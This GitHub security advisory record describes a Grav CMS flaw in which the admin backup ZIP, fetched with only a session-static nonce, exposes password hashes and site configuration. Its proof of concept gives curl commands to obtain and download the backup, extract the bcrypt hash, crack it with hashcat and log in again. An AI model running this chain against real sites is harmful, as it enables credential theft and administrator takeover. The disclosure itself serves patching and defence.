{"id":"GHSA-2f86-9cp8-6hcf","summary":"Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets","details":"### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin's bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope — `Backups::backup()`**  \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile's `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup-\u003eroot, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup-\u003eroot` is empty, making `$backup_root` equal to `GRAV_ROOT` — i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` — admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` — system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler — `AdminController::taskBackup()`**  \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep\n       . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation — permissive**  \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required — unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 — Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP 'name=\"login-nonce\" value=\"\\K[^\"]+')\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=Passw0rd123!\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP 'admin-nonce[:=]\\K[a-f0-9]+' | head -1)\necho \"Admin nonce: $ADMIN_NONCE\"   # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 — Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n  \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n  \"status\": \"success\",\n  \"message\": \"Your backup is ready for download. \u003ca href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\"\u003eDownload backup\u003c/a\u003e\"\n}\n```\n\n**Step 3 — Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n  \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 — Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: 'Grav Admin'\ntitle: Administrator\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 — Crack the bcrypt hash offline:**\n```bash\necho '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' \u003e hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 — Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=\u003ccracked_password\u003e\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` — information critical for LFI, file-write, and path traversal attacks","aliases":["CVE-2026-55885"],"modified":"2026-09-10T03:51:07.423733426Z","published":"2026-06-18T14:31:13Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-06-18T14:31:13Z","nvd_published_at":null,"cwe_ids":["CWE-312","CWE-522"]},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.53"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.6","1.7.7","1.7.8","1.7.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-2f86-9cp8-6hcf/GHSA-2f86-9cp8-6hcf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"}]}